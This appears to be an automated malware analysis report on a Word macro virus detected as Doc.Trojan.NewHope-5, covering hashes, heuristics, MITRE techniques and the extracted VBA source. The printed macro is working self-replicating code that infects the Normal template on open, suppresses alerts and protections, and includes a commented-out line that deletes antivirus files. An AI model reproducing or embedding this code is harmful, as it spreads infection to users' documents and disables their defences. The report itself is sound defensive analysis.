Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f955c2f62407aba2…

MALICIOUS

Office (OLE)

27.5 KB Created: 2001-02-23 08:27:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d5df3ddb79e08607cd3ceaca61311f73 SHA-1: 3c067ebba6ce40b8757ac4aff6bc0affa7b3357b SHA-256: f955c2f62407aba2c01fdd22a663de41c04abb1975c6f3ad82003f8157fa16d5
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that is triggered by the Document_Open event. This macro attempts to copy its code to the Normal template and then executes it. The macro also contains obfuscated code that appears to be intended to display a message or perform an action, though its exact function is unclear due to the obfuscation and lack of network indicators. The presence of the Document_Open macro and the VBA code strongly suggests a malicious document designed to execute arbitrary code.

Heuristics 3

  • ClamAV: Doc.Trojan.NewHope-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.NewHope-5
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1758 bytes
SHA-256: cc6ec6ec7f8c3629792f866e08f58e15341e1a8c1b7411ba6903b1ae8b02dfc4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
Rem
Call Document_Open
End Sub
Private Sub Document_New()
Call Document_Open
End Sub
Private Sub Document_Open()
On Error Resume Next
Application.DisplayAlerts = wdAlertsNone
WordBasic.DisableAutoMacros 0
Options.VirusProtection = True
NormInstalled = False
ActInstalled = False
If NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(2, 1) = "Rem" Then NormInstalled = True
If ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(2, 1) = "Rem" Then ActInstalled = True
If NormInstalled = True And ActInstalled = True Then GoTo Killer
If NormInstalled = False Then
    Set Inf = NormalTemplate.VBProject.VBComponents(1).CodeModule
    Set Noc = ActiveDocument.VBProject.VBComponents(1).CodeModule
Else
    Set Inf = ActiveDocument.VBProject.VBComponents(1).CodeModule
    Set Noc = NormalTemplate.VBProject.VBComponents(1).CodeModule
End If
With Noc
    Code = .Lines(1, .CountOfLines)
End With
With Inf
    .DeleteLines 1, .CountOfLines
    .InsertLines 1, Code
End With
Application.DisplayAlerts = wdAlertsAll
''WordBasic.Kill "c:\Program Files\Trend Pc-cillin 98\*.*"
Exit Sub
Killer:
 If Month(Date) = Int(Rnd * 12 + 1) Then

  Set ULTRAS = ActiveDocument.Range(Start:=0, End:=0)
    With ULTRAS
        .Chr (13)
        .Font.Size = 42
        .Font.Name = "Š”©Ý­ÅE"
        .Font.ColorIndex = wdGreen
        .Font.Shadow = 1
        .Font.Animation = wdAnimationLasVegasLights
    End With
 End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.